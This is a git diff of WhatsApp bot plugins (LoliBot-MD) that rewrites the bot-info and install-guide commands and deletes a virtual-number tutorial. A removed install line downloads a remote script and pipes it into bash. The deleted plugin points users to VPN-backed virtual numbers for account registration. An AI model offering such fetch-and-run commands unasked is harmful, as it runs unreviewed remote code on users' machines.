-const fechabol = moment().tz('America/La_Paz').format('DD/MM HH:mm')
-const fechachi = moment().tz('America/Santiago').format('DD/MM HH:mm')
-const fechaarg = moment().tz('America/Argentina/Buenos_Aires').format('DD/MM HH:mm')
-const fechacol = moment().tz('America/Bogota').format('DD/MM HH:mm')
-const fechaecu = moment().tz('America/Guayaquil').format('DD/MM HH:mm')
-const fechacosr = moment().tz('America/Costa_Rica').format('DD/MM HH:mm')
-const fechacub = moment().tz('America/Havana').format('DD/MM HH:mm')
-const fechagua = moment().tz('America/Guatemala').format('DD/MM HH:mm')
-const fechahon = moment().tz('America/Tegucigalpa').format('DD/MM HH:mm')
-const fechanic = moment().tz('America/Managua').format('DD/MM HH:mm')
-const fechapan = moment().tz('America/Panama').format('DD/MM HH:mm')
-const fechauru = moment().tz('America/Montevideo').format('DD/MM HH:mm')
-const fechaven = moment().tz('America/Caracas').format('DD/MM HH:mm')
-const fechapar = moment().tz('America/Asuncion').format('DD/MM HH:mm')
-const fechanew = moment().tz('America/New_York').format('DD/MM HH:mm')
-const fechaasi = moment().tz('Asia/Jakarta').format('DD/MM HH:mm')
-const fechabra = moment().tz('America/Sao_Paulo').format('DD/MM HH:mm')
-const fechaafri = moment().tz('Africa/Malabo').format('DD/MM HH:mm')
-await conn.sendMessage(m.chat, { text: `\`\`\`
-「 ZONA-HORARIA ⏰ 」
-⏱️Peru : ${fechaper}
-⏱️Mexico : ${fechamex}
-⏱️Bolivia : ${fechabol}
-⏱️Chile : ${fechachi}
-⏱️Argentina : ${fechaarg}
-⏱️Colombia : ${fechacol}
-⏱️Ecuador : ${fechaecu}
-⏱️Costa_Rica : ${fechacosr}
-⏱️Cuba : ${fechacub}
-⏱️Guatemala : ${fechagua}
-⏱️Honduras : ${fechahon}
-⏱️Nicaragua : ${fechanic}
-⏱️Panama : ${fechapan}
-⏱️Uruguay : ${fechauru}
-⏱️Venezuela : ${fechaven}
-⏱️Paraguay : ${fechapar}
-⏱️New York : ${fechanew}
-⏱️Asia : ${fechaasi}
-⏱️Brasil : ${fechabra}
-⏱️G.N.Q : ${fechaafri}
-\`\`\`
-${String.fromCharCode(8206).repeat(850)}
-Zona horaria del servidor actual:\n[ ${Intl.DateTimeFormat().resolvedOptions().timeZone} ]\n${moment().tz(Intl.DateTimeFormat().resolvedOptions().timeZone).format('DD/MM/YY HH:mm:ss')}` }, {quoted: m })
-}
-
-handler.help = ['horario']
-handler.tags = ['info']
-handler.command = /^(horario)$/i
-
-export default handler
diff --git a/plugins/info-infobot.js b/plugins/info-infobot.js
index 7e71caa59..f255c4735 100644
--- a/plugins/info-infobot.js
+++ b/plugins/info-infobot.js
@@ -1,83 +1,140 @@
-import os from 'os'
-import util from 'util'
-import sizeFormatter from 'human-readable'
-let MessageType = (await import(global.baileys)).default
+import { db, getSubbotConfig } from '../lib/postgres.js'
import fs from 'fs'
-import { performance } from 'perf_hooks'
-let handler = async (m, { conn, usedPrefix }) => {
-let _uptime = process.uptime() * 1000
-let uptime = clockString(_uptime)
-let totalreg = Object.keys(global.db.data.users).length
-const chats = Object.entries(conn.chats).filter(([id, data]) => id && data.isChats)
-const groupsIn = chats.filter(([id]) => id.endsWith('@g.us'))
-const groups = chats.filter(([id]) => id.endsWith('@g.us'))
-const used = process.memoryUsage()
-const cpus = os.cpus().map(cpu => {
- cpu.total = Object.keys(cpu.times).reduce((last, type) => last + cpu.times[type], 0)
- return cpu
- })
-const cpu = cpus.reduce((last, cpu, _, { length }) => {
- last.total += cpu.total
- last.speed += cpu.speed / length
- last.times.user += cpu.times.user
- last.times.nice += cpu.times.nice
- last.times.sys += cpu.times.sys
- last.times.idle += cpu.times.idle
- last.times.irq += cpu.times.irq
- return last
- }, {
- speed: 0,
- total: 0,
- times: {
- user: 0,
- nice: 0,
- sys: 0,
- idle: 0,
- irq: 0
+import path from 'path'
+import os from 'os'
+import ws from 'ws'
+import speed from 'performance-now'
+import { sizeFormatter } from 'human-readable'
+
+const format = sizeFormatter({
+ std: 'JEDEC',
+ decimalPlaces: 2,
+ keepTrailingZeroes: false,
+ render: (literal, symbol) => `${literal} ${symbol}B`
+})
+
+const getCpuUsage = () => {
+ const load = os.loadavg()[0]
+ const cores = os.cpus().length
+ return ((load / cores) * 100).toFixed(2) + '%'
+}
+
+const getFolderSize = (folderPath) => {
+ let totalSize = 0
+ function calculateSize(directory) {
+ const files = fs.readdirSync(directory)
+ for (const file of files) {
+ const filePath = path.join(directory, file)
+ const stats = fs.statSync(filePath)
+ if (stats.isDirectory()) calculateSize(filePath)
+ else totalSize += stats.size
}
- })
-const { restrict } = global.db.data.settings[conn.user.jid] || {}
-const { autoread } = global.opts
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let pp = './media/menus/Menu1.jpg'
-let vn = './media/infobot.mp3'
-let name = await conn.getName(m.sender)
-let old = performance.now()
- //await m.reply('_Realizando test_')
- let neww = performance.now()
- let totaljadibot = [...new Set([...global.conns.filter(conn => conn.user && conn.state !== 'close').map(conn => conn.user)])]
- let speed = neww - old
+ }
+ calculateSize(folderPath)
+ return humanFileSize(totalSize)
+}
-let info = `╭─────[ *INFO DEL BOT* ]────✧
-├ 🤴🏻 *CREADOR:* elrebelde
-├ #️⃣ *CONTACTO:* *wa.me/5492266466080*
-├ ✅ *VERSION ACTUAL:* ${vs}
-├ 🎳 *PREFIJO:* *${usedPrefix}*
-├ 🔐 *CHATS PRIVADO:* *${chats.length - groups.length}*
-├ 🦜 *CHATS DE GRUPOS:* *${groups.length}*
-├ 💡 *CHATS EN TOTAL:* *${chats.length}*
-├ 🚀 *ACTIVIDAD:* *${uptime}*
-├ 🎩 *USUARIOS:* *${totalreg}*
-├ 🐢 *VELOCIDAD:* *${speed}*
-├ 🌎 *MODO:* ${global.db.data.settings[conn.user.jid].self ? '*Privado*' : '*Público*'}
-├ 💬 *ANTIPRIVADO:* ${global.db.data.settings[conn.user.jid].antiprivado ? '*Activado ✔*' : '*Desactivado ✘*'}
-├ 📵 *ANTILLAMADA:* ${global.db.data.settings[conn.user.jid].antiCall ? '*Activado ✔*' : '*Desactivado*'}
-├ 🤖 *BOTEMPORAL:* *${global.db.data.settings[conn.user.jid].temporal ? 'Activado ✔' : 'Desactivado ✘'}*
-├ ☑️ *AUTOREAD:* ${autoread ? '*Activado ✔*' : '*Desactivado ✘*'}
-├ 🤖 *BOTS SECUNDARIOS ACTIVOS:* *${totaljadibot.length}*
-├ ⛔ *RESTRICT:* ${restrict ? '*Activado ✔*' : '*Desactivado ✘*'}
-╰────────────···`
-await conn.sendMessage(m.chat, {text: info}, {quoted: fkontak});
-conn.sendFile(m.chat, vn, 'infobot.mp3', null, m, true, { type: 'audioMessage', ptt: true, sendEphemeral: true })
+const getSystemInfo = async () => {
+ const cpuInfo = os.cpus()
+ const modeloCPU = cpuInfo[0]?.model || 'N/A'
+ const memoriaUso = process.memoryUsage()
+ const usoRam = humanFileSize(memoriaUso.rss)
+ const usoCpu = getCpuUsage()
+ return {
+ plataforma: os.platform(),
+ núcleosCPU: cpuInfo.length,
+ modeloCPU,
+ arquitecturaSistema: os.arch(),
+ versiónSistema: os.release(),
+ procesosActivos: os.loadavg()[0],
+ usoRam,
+ usoCpu,
+ tiempoActividad: toTime(os.uptime() * 1000)
+ }
}
+
+const handler = async (m, { conn }) => {
+const start = speed();
+const subbotsCount = (global.conns || []).filter(sock => {
+const id = sock?.userId || sock?.user?.id?.split('@')[0]
+const isAlive = sock?.userId && typeof sock?.uptime === 'number'
+const mainId = conn.user?.id?.split('@')[0]?.split(':')[0]
+return isAlive && id && id !== mainId}).length
+const botId = (conn.user?.id || '').split(':')[0].replace('@s.whatsapp.net', '');
+const resGrupos = await db.query(`SELECT joined FROM chats
+ WHERE is_group = true AND bot_id = $1`, [botId]);
+const totalGrupos = resGrupos.rowCount;
+const groupsIn = resGrupos.rows.filter(row => row.joined === true);
+const gruposUnidos = groupsIn.length;
+const gruposSalidos = totalGrupos - gruposUnidos;
+const resPrivados = await db.query(`SELECT id FROM chats
+ WHERE is_group = false AND bot_id = $1`, [botId]);
+const privates = resPrivados.rowCount;
+const chatsTotales = totalGrupos + privates;
+const totalPlugins = Object.values(global.plugins).filter(p => p.help && p.tags).length;
+const latencia = speed() - start;
+const uptime = process.uptime() * 1000;
+const config = await getSubbotConfig(conn.user?.id || conn.user.jid);
+const prefijos = Array.isArray(config.prefix) ? config.prefix.join(' ') : config.prefix;
+const modo = config.mode === 'private' ? 'Private' : 'Públic';
+const [{ count: totalUsers }] = (await db.query(`SELECT COUNT(*)::int FROM usuarios`)).rows;
+const [{ count: registeredUsers }] = (await db.query(`SELECT COUNT(*)::int FROM usuarios WHERE registered = true`)).rows;
+const [{ count: totalChats }] = (await db.query(`SELECT COUNT(*)::int FROM chats`)).rows;
+const [{ total }] = (await db.query(`SELECT SUM(count)::int AS total FROM stats`)).rows;
+const comandosEjecutados = total || 0;
+const sistema = await getSystemInfo();
+
+const teks = `*≡ INFOBOT*
+
+*INFORMACIÓN*
+*▣ Grupos total:* ${totalGrupos}
+*▣ Grupos unidos:* ${gruposUnidos}
+*▣ Grupo salidos:* ${gruposSalidos}
+*▣ Chats privado:* ${privates}
+*▣ Chats totales:* ${chatsTotales}
+*▣ Sub-Bots conectado:* ${subbotsCount}
+*▣ Total plugins:* ${totalPlugins}
+*▣ Mode:* ${modo}
+*▣ Prefix:* ${prefijos}
+*▣ Velocidad:* ${latencia.toFixed(4)} ms
+*▣ Actividad:* ${new Date(uptime).toISOString().substr(11, 8)}
+
+*▣ Comandos ejecutados:* ${toNum(comandosEjecutados)} / ${comandosEjecutados}
+*▣ Grupos registrados:* ${toNum(totalChats)} / ${totalChats}
+*▣ Usuarios registrados:* ${toNum(registeredUsers)} de ${toNum(totalUsers)} users totales
+
+*≡ S E R V E R*
+▣ *Servidor:* ${os.hostname()}
+▣ *Plataforma:* ${sistema.plataforma}
+▣ *RAM usada:* ${sistema.usoRam}
+▣ *Uso de CPU:* ${sistema.usoCpu}
+▣ *Uptime:* ${sistema.tiempoActividad}`;
+await conn.sendMessage(m.chat, {text: teks, contextInfo: { mentionedJid: null, forwardingScore: 1, isForwarded: true, forwardedNewsletterMessageInfo: { newsletterJid: "120363305025805187@newsletter",newsletterName: "LoliBot ✨️" }, externalAdReply : {mediaUrl: [info.nna, info.nna2, info.md].getRandom(), mediaType: 2, description: null, title: `INFO - BOT`, previewType: 0, thumbnailUrl: "https://telegra.ph/file/39fb047cdf23c790e0146.jpg", sourceUrl: info.yt}}}, { quoted: m })
+};
handler.help = ['infobot']
-handler.tags = ['info', 'tools']
-handler.command = /^(infobot|informacionbot|infogata|informacióngata|informaciongata)$/i
+handler.tags = ['main']
+handler.command = /^(infobot|informacionbot|infololi)$/i
+handler.register = true
export default handler
-function clockString(ms) {
-let h = Math.floor(ms / 3600000)
-let m = Math.floor(ms / 60000) % 60
-let s = Math.floor(ms / 1000) % 60
-console.log({ms,h,m,s})
-return [h, m, s].map(v => v.toString().padStart(2, 0) ).join(':')}
+const toNum = (n) => {
+ if (!n || isNaN(n)) return '0'
+ return n >= 1_000_000 ? (n / 1_000_000).toFixed(1) + 'M' :
+ n >= 1_000 ? (n / 1_000).toFixed(1) + 'k' : n.toString()
+}
+
+const humanFileSize = (bytes) => {
+ const units = ['B', 'KB', 'MB', 'GB', 'TB']
+ const i = Math.floor(Math.log(bytes) / Math.log(1024))
+ return `${(bytes / Math.pow(1024, i)).toFixed(2)} ${units[i]}`
+}
+
+const toTime = (ms) => {
+ const d = Math.floor(ms / 86400000)
+ const h = Math.floor(ms / 3600000) % 24
+ const m = Math.floor(ms / 60000) % 60
+ const s = Math.floor(ms / 1000) % 60
+ return `${d}d ${h}h ${m}m ${s}s`
+}
+
+
diff --git a/plugins/info-instalarbot.js b/plugins/info-instalarbot.js
index 8397b853a..8000f1913 100644
--- a/plugins/info-instalarbot.js
+++ b/plugins/info-instalarbot.js
@@ -1,214 +1,101 @@
-//import { generateWAMessageFromContent } from '@adiwajshing/baileys'
-let { generateWAMessageFromContent } = (await import(global.baileys)).default
+import { generateWAMessageFromContent } from '@whiskeysockets/baileys'
let handler = async (m, { conn }) => {
let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
let texto = `*◄┢┅͜͡✇⟬↯ື ►ஜ۩💥۩ஜ◄ ↯ື⟭✇͜͡┅┧►*
-*𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙄𝙉𝙎𝙏𝘼𝙇𝘼𝘾𝙄𝙊𝙉*
-*https://youtu.be/gh5NajZOTA8*
+💕 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙄𝙉𝙎𝙏𝘼𝙇𝘼𝘾𝙄𝙊𝙉
+https://youtu.be/z2kHwbu8e8s?si=2z3Fur9U4ccN7EwA
-✨ *Grupo Actualizaciones y novedades sobre el bot*
-📌 *${global.nna}*
+*✨ Canal de Actualizaciones y novedades sobre el bot*
+${info.nna2}
-💛 *Si tienes dudas o necesitas ayuda en el proceso de la instalación puede escribir me a este número (No es Bot el número)*
+*📲💛 Si tienes dudas o necesitas ayuda en el proceso de la instalación puede escribirme por facebook:*
+${info.fb}
-📲 *Wa.me/5492266466080*
-
-❗ *_Solo para temas de instalación_*
+> ❗ *_Solo para temas de instalación_*
───────•••───────
-✨ 𝙍𝙀𝙌𝙐𝙄𝙎𝙄𝙏𝙊𝙎 𝙋𝘼𝙍𝘼 𝙇𝘼 𝙄𝙉𝙎𝙏𝘼𝙇𝘼𝘾𝙄𝙊𝙉 ✨
+\`✨ 𝙂𝙄𝙏𝙃𝙐𝘽 > 𝙍𝙀𝙋𝙊𝙎𝙄𝙏𝙊𝙍𝙄𝙊\`
+> *_Visita mí repositorio 😸 para más información, si te agrada el Bot apoya me con una ⭐️ ¡Gracias!_*
+${info.md}
-✅ _1 GB de almacenamiento_
-✅ _Aplicación Termux (actualizada)_
-✅ _Un WhatsApp recomiendo el WhatsApp normal_
-✅ _Un número virtual (si es ofc mejor)_
-✅ _2 dispositivos o una PC para escanear_
+> ───────•••───────
-───────•••───────
+\`✨ 𝙍𝙀𝙌𝙐𝙄𝙎𝙄𝙏𝙊𝙎 𝙋𝘼𝙍𝘼 𝙇𝘼 𝙄𝙉𝙎𝙏𝘼𝙇𝘼𝘾𝙄𝙊𝙉 (aclave de nuestros hosting) 😎\`
-✨ 𝙂𝙄𝙏𝙃𝙐𝘽 > 𝙍𝙀𝙋𝙊𝙎𝙄𝙏𝙊𝙍𝙄𝙊
-*_Visita mí repositorio 😸 para más información, si te agrada el Bot apoya me con una ⭐️ ¡Gracias!_*
+> ❌️ _~1 GB de almacenamiento~_
+> ❌️ _~Aplicación Termux (actualizada)~_
+> ✅ _Un WhatsApp secundarios_
+> ✅ _Un número virtual (si es ofc mejor)_
+> ❌️ ~_2 dispositivos o una PC para escanear_~
+> ✅ _Ahora con 1 dispositivos con el codigo de 8 digitos ya pueden ser bot_
-${md}
+> ───────•••───────
-───────•••───────
+\`📌 INSTALAR - SKYULTRAPLUS HOST\`
+https://youtu.be/z2kHwbu8e8s?si=2z3Fur9U4ccN7EwA
-📌 *𝙋𝘼𝙎𝙊 𝙋𝘼𝙍𝘼 𝙄𝙉𝙎𝙏𝘼𝙇𝘼𝙍 𝙀𝙇 𝘽𝙊𝙏 𝙀𝙇 𝙏𝙀𝙍𝙈𝙐𝙓*
-📌 *𝙊𝙋𝘾𝙄𝙊𝙉: 1 𝙂𝙄𝙏𝙃𝙐𝘽*
+💻 *Página:*
+https://skyultraplus.com
-🔸 termux-setup-storage
+✨ *Dashboard "new" para cliente:*
+paymenter.skyultraplus.com
-🔸 apt update -y && yes | apt upgrade && pkg install -y bash wget mpv && wget -O - https://raw.githubusercontent.com/elrebelde21/The-LoliBot-MD/master/install.sh | bash
+🟢 *Dash "anterior" usuarios free:*
+dash.skyultraplus.com
-📌 *𝙊𝙋𝘾𝙄𝙊𝙉: 2 𝘼𝙍𝘾𝙃𝙄𝙑𝙊*
-*https://youtu.be/i1xjB4bmYCc*
+⚙️ *Panel:*
+https://panel.skyultraplus.com
-🔸 termux-setup-storage
+💥 *Comunidad de WhatsApp:*
+https://chat.whatsapp.com/E6iWpvGuJ8zJNPbN3zOr0D?mode=ac_t
-🔸 pkg update -y && pkg upgrade -y && pkg install -y bash && pkg install -y wget && pkg install yarn
+*🟣 Discord:*
+https://discord.gg/zvKgtc2RBc
-🔸 cd storage/downloads/Lolibot
+🧡 Canal de WhatsApp:*
+https://whatsapp.com/channel/0029VakUvreFHWpyWUr4Jr0g
-🔸 ls
+🗣📲 Contacto:*
+• wa.me/15167096032
+• https://instagram.com/gata_dios
+• ${info.fb}
-🔸 npm start
+> ───────•••───────
-───────•••───────
+\`✨ 𝙍𝙀𝙌𝙐𝙄𝙎𝙄𝙏𝙊𝙎 𝙋𝘼𝙍𝘼 𝙇𝘼 𝙄𝙉𝙎𝙏𝘼𝙇𝘼𝘾𝙄𝙊𝙉 (Por termux) ✨\`
-📌 𝗜𝗡𝗦𝗧𝗔𝗟𝗔𝗥 𝗘𝗡 𝗕𝗢𝗫𝗠𝗜𝗡𝗘
+> ✅ _1 GB de almacenamiento_
+> ✅ _Aplicación Termux (actualizada)_
+> ✅ _Un WhatsApp secundarios_
+> ✅ _Un número virtual (si es ofc mejor)_
+> ❌️ ~_2 dispositivos o una PC para escanear_~
+> ✅ _Ahora con 1 dispositivos con el codigo de 8 digitos ya pueden ser bot_
-*𝙏𝙝𝙚-𝙇𝙤𝙡𝙞𝘽𝙤𝙩-𝙈𝘿 : 𝘽𝙤𝙭𝙈𝙞𝙣𝙚*
-*_https://youtu.be/wWyBHtKzx9Q_*
+> ───────•••───────
-_Pagina Oficial_
-_https://boxmineworld.com_
+\`📌 𝙄𝙉𝙎𝙏𝘼𝙇𝘼𝙍 - 𝙏𝙀𝙍𝙈𝙐𝙓\`
-_Panel_
-_https://panel.boxmineworld.com_
+* \`\`\`termux-setup-storage\`\`\`
-───────•••───────
+* \`\`\`apt update && apt upgrade -y && pkg install -y git nodejs ffmpeg imagemagick yarn\`\`\`
-📌 𝗜𝗡𝗦𝗧𝗔𝗟𝗔𝗥 𝗘𝗡 𝙍𝙀𝙋𝙇𝙄𝙏
+* \`\`\`git clone https://github.com/elrebelde21/LoliBot-MD && cd LoliBot-MD\`\`\`
-*𝙏𝙝𝙚-𝙇𝙤𝙡𝙞𝘽𝙤𝙩-𝙈𝘿 : 𝙍𝙀𝙋𝙇𝙄𝙏*
-https://youtu.be/SMjCcfuyWQE
+* \`\`\`bash install.sh\`\`\`
-_Pagina Oficial_
-https://replit.com/
+* \`\`\`ls\`\`\`
-*◄┢┅͜͡✇⟬↯ື ►ஜ۩💥۩ஜ◄ ↯ື⟭✇͜͡┅┧►*
+* \`\`\`npm start\`\`\`
-💥 INFO EXTRA 💥_
-➤ _Se sugiere leer el archivo README.md_
-➤ _Bot compartible con WhatsApp multi device_
-➤ _Para habilitar el /añadir y el /sacar usa /enable restrict_ _Puede ocasionar que el numero se vaya a soporte_
-➤ _Recomiendo que active el autoread con (#on autoread)_
-➤ _Cualquier cosa hablame solo por tema del bot🔰🤖_
-_Saludos 🔰🤖_`
-let aa = { quoted: m, userJid: conn.user.jid }
-let prep = generateWAMessageFromContent(m.chat, { extendedTextMessage: { text: texto, contextInfo: { externalAdReply: { title: 'ᴛʜᴇ-ʟᴏʟɪʙᴏᴛ-ᴍᴅ', body: null, thumbnail: imagen1, sourceUrl: 'https://youtu.be/gh5NajZOTA8' }, mentionedJid: [m.sender] }}}, aa)
+> *◄┢┅͜͡✇⟬↯ື ►ஜ۩💥۩ஜ◄ ↯ື⟭✇͜͡┅┧►*`
+let aa = { quoted: m, userJid: conn.user.id }
+let prep = generateWAMessageFromContent(m.chat, { extendedTextMessage: { text: texto, contextInfo: { externalAdReply: { title: info.wm, body: "Video tutorial", thumbnailUrl: m.pp, mediaUrl: 'https://youtu.be/z2kHwbu8e8s?si=2z3Fur9U4ccN7EwA', mediaType: 2 }, mentionedJid: [m.sender] }}}, aa)
conn.relayMessage(m.chat, prep.message, { messageId: prep.key.id, mentions: [m.sender] })
}
+handler.help = ['instalarbot']
+handler.tags = ['main']
handler.command = /^(instalarbot)/i
-export default handler
-
-/*
-//LOS BOTONES NO FUNKA EL LA NUEVA ACTUALIZACIÓN DE WHATSAPP :(
-let handler = async (m, { conn, usedPrefix, command }) => {
-const fkontak = {
- "key": {
- "participants":"0@s.whatsapp.net",
- "remoteJid": "status@broadcast",
- "fromMe": false,
- "id": "Halo"
- },
- "message": {
- "contactMessage": {
- "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`
- }
- },
- "participant": "0@s.whatsapp.net"
-}
-
-let picture = './media/menus/Menu1.jpg'
-await m.reply(`╰⊱🔰⊱ *𝑰𝒏𝒔𝒕𝒂𝒍𝒂𝒄𝒊𝒐𝒏* ⊱🔰⊱╮`)
-let instalar = `*◄┢┅͜͡✇⟬↯ື ►ஜ۩💥۩ஜ◄ ↯ື⟭✇͜͡┅┧►*
-
-💥 𝙔𝙖 𝙥𝙪𝙚𝙙𝙚 𝙞𝙣𝙨𝙩𝙖𝙡𝙖𝙧 𝙖 𝙏𝙝𝙚-𝙇𝙤𝙡𝙞𝘽𝙤𝙩-𝙈𝘿 ❕
-
-*𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙄𝙉𝙎𝙏𝘼𝙇𝘼𝘾𝙄𝙊𝙉*
-*https://youtu.be/gh5NajZOTA8*
-
-✨ *Si necesitas ayuda entra al grupo del bot*
-📌 *${global.nna}*
-
-💛 *Si tienes dudas o necesitas ayuda en el proceso de la instalación puede escribir me a este número (No es Bot el número)*
-
-📲 *Wa.me/5492266466080*
-
-❗ *_Solo para temas de instalación_*
-
-───────•••───────`
-
-conn.sendButton(m.chat, instalar, `✨ 𝙍𝙀𝙌𝙐𝙄𝙎𝙄𝙏𝙊𝙎 𝙋𝘼𝙍𝘼 𝙇𝘼 𝙄𝙉𝙎𝙏𝘼𝙇𝘼𝘾𝙄𝙊𝙉 ✨
-
-✅ _1 GB de almacenamiento_
-✅ _Aplicación Termux (actualizada)_
-✅ _Un WhatsApp recomiendo el WhatsApp normal_
-✅ _Un número virtual (si es ofc mejor)_
-✅ _2 dispositivos o una PC para escanear_
-
-───────•••───────
-
-✨ 𝙂𝙄𝙏𝙃𝙐𝘽 > 𝙍𝙀𝙋𝙊𝙎𝙄𝙏𝙊𝙍𝙄𝙊
-*_Visita mí repositorio 😸 para más información, si te agrada el Bot apoya me con una ⭐️ ¡Gracias!_*
-
-${md}
-
-───────•••───────
-
-📌 *𝙋𝘼𝙎𝙊 𝙋𝘼𝙍𝘼 𝙄𝙉𝙎𝙏𝘼𝙇𝘼𝙍 𝙀𝙇 𝘽𝙊𝙏 𝙀𝙇 𝙏𝙀𝙍𝙈𝙐𝙓*
-📌 *𝙊𝙋𝘾𝙄𝙊𝙉: 1 𝙂𝙄𝙏𝙃𝙐𝘽*
-
-🔸 termux-setup-storage
-🔸 apt update
-🔸 pkg upgrade
-🔸 pkg install git -y
-🔸 pkg install nodejs -y
-🔸 pkg install ffmpeg -y
-🔸 pkg install imagemagick -y
-🔸 git clone https://github.com/elrebelde21/The-LoliBot-MD
-🔸 cd The-LoliBot-MD
-🔸 npm install
-🔸 ls
-🔸 npm start
-
-📌 *𝙊𝙋𝘾𝙄𝙊𝙉: 2 𝘼𝙍𝘾𝙃𝙄𝙑𝙊*
-*https://youtu.be/i1xjB4bmYCc*
-
-🔸 termux-setup-storage
-🔸 apt update
-🔸 pkg upgrade
-🔸 pkg install git -y
-🔸 pkg install nodejs -y
-🔸 pkg install ffmpeg -y
-🔸 pkg install imagemagick -y
-🔸 pkg install yarn
-🔸 cd storage/downloads/Lolibot
-🔸 ls
-🔸 npm start
-
-───────•••───────
-
-📌 𝗜𝗡𝗦𝗧𝗔𝗟𝗔𝗥 𝗘𝗡 𝗕𝗢𝗫𝗠𝗜𝗡𝗘
-
-*𝙏𝙝𝙚-𝙇𝙤𝙡𝙞𝘽𝙤𝙩-𝙈𝘿 : 𝘽𝙤𝙭𝙈𝙞𝙣𝙚*
-*_https://youtu.be/wWyBHtKzx9Q_*
-
-_Pagina Oficial_
-_https://boxmineworld.com_
-
-_Panel_
-_https://panel.boxmineworld.com_
-
-───────•••───────
-
-📌 𝗜𝗡𝗦𝗧𝗔𝗟𝗔𝗥 𝗘𝗡 𝙍𝙀𝙋𝙇𝙄𝙏
-
-*𝙏𝙝𝙚-𝙇𝙤𝙡𝙞𝘽𝙤𝙩-𝙈𝘿 : 𝙍𝙀𝙋𝙇𝙄𝙏*
-https://youtu.be/SMjCcfuyWQE
-
-_Pagina Oficial_
-https://replit.com/
-
-───────•••───────
-
-
-*◄┢┅͜͡✇⟬↯ື ►ஜ۩💥۩ஜ◄ ↯ື⟭✇͜͡┅┧►*\n\n💥 INFO EXTRA 💥\n➤ Se sugiere leer el archivo README.md \n➤ Bot compartible con WhatsApp multi device \n➤ Para habilitar el /añadir y el /sacar usa /enable restrict \n- Puede ocasionar que el numero se vaya a soporte \n➤ Cualquier cosa hablame solo por tema del bot🔰🤖\nSaludos 🔰🤖\n\n${wm}`, picture, [
-['𝘾𝙪𝙚𝙣𝙩𝙖𝙨 𝙊𝙛𝙞𝙘𝙞𝙖𝙡𝙚𝙨 ✅', '.cuentasgb']], fkontak, m)}
-
-handler.command = /^(instalarbot|instalargatabot|instalargata|procesobot|botproceso|procesodelbot|botinstall|installbot)/i
-export default handler
-*/
+handler.register = true
+export default handler
\ No newline at end of file
diff --git a/plugins/info-numerovictual.js b/plugins/info-numerovictual.js
deleted file mode 100644
index c1e0cddf3..000000000
--- a/plugins/info-numerovictual.js
+++ /dev/null
@@ -1,43 +0,0 @@
-let handler = async (m, { conn, usedPrefix }) => {
-let pp = 'https://i.imgur.com/lkch77g.jpeg'
-var doc = ['pdf','zip','vnd.openxmlformats-officedocument.presentationml.presentation','vnd.openxmlformats-officedocument.spreadsheetml.sheet','vnd.openxmlformats-officedocument.wordprocessingml.document']
-var document = doc[Math.floor(Math.random() * doc.length)]
-await m.reply(`╰⊱🔰⊱ *paso a paso* ⊱🔰⊱╮`)
- //conn.sendButton(m.chat, str, author, await(await fetch(pp)).buffer(), [['Menu', '/menu']], m)
-let texto1 = `
-como crea un numero victual
-aca vamos como crear un numero victual para WhatsApp o otra redes donde quiera registrarte
-segui los paso como el video asi no tiene ningun problema
-
-descarga texnow 👇👇
-https://play.google.com/store/apps/details?id=com.enflick.android.TextNow
-
-VPN usado el video 👇👇
-https://play.google.com/store/apps/details?id=free.vpn.unblock.proxy.turbovpn
-
-
-y segui los paso del video`
-let buttonMessage= {
-'document': { url: `https://youtu.be/zjg6fwhJa9E` },
-'mimetype': `application/${document}`,
-'fileName': `𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫`,
-'fileLength': 99999999999999,
-'pageCount': 200,
-'contextInfo': {
-'forwardingScore': 200,
-'isForwarded': true,
-'externalAdReply': {
-'mediaUrl': 'https://youtu.be/zjg6fwhJa9E',
-'mediaType': 2,
-'previewType': 'pdf',
-'title': 'Como crea un numero victual',
-'body': wm,
- }},
-'caption': texto1,
-'footer': wm,
-'buttons':[
-{buttonId: `${usedPrefix}menu`, buttonText: {displayText: '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫'}, type: 1}],
-'headerType': 6 }
-conn.sendMessage(m.chat, buttonMessage, { quoted: m })}
-handler.command = /^(numerovictual|como crea un numero victual)$/i
-export default handler
diff --git a/plugins/info-ping.js b/plugins/info-ping.js
new file mode 100644
index 000000000..ec9465d4f
--- /dev/null
+++ b/plugins/info-ping.js
@@ -0,0 +1,87 @@
+const handler = async (m, { conn }) => {
+const start = performance.now();
+let { key } = await conn.sendMessage(m.chat, { text: '⏱️ ping...' }, { quoted: m });
+const end = performance.now();
+const ping = (end - start).toFixed(0);
+await conn.sendMessage(m.chat, { text: `🏓 *Pong!* ${ping}ms`, edit: key }, { quoted: m });
+};
+handler.help = ['ping'];
+handler.tags = ['main'];
+handler.command = /^(ping|p)$/i
+handler.owner = false;
+
+export default handler;
+
+
+/*import { db } from '../lib/postgres.js'
+import fs from 'fs'
+
+const handler = async (m, { conn }) => {
+const start = Date.now()
+const uptime = process.uptime() * 1000
+const tiempo = clockString(uptime)
+const used = process.memoryUsage()
+const ram = (used.rss / 1024 / 1024).toFixed(2) + ' MB'
+const usersRes = await db.query(`SELECT COUNT(*)::int AS total, COUNT(*) FILTER (WHERE registered = true)::int AS registrados FROM usuarios`)
+const totalUsers = usersRes.rows[0]?.total || 0
+const registrados = usersRes.rows[0]?.registrados || 0
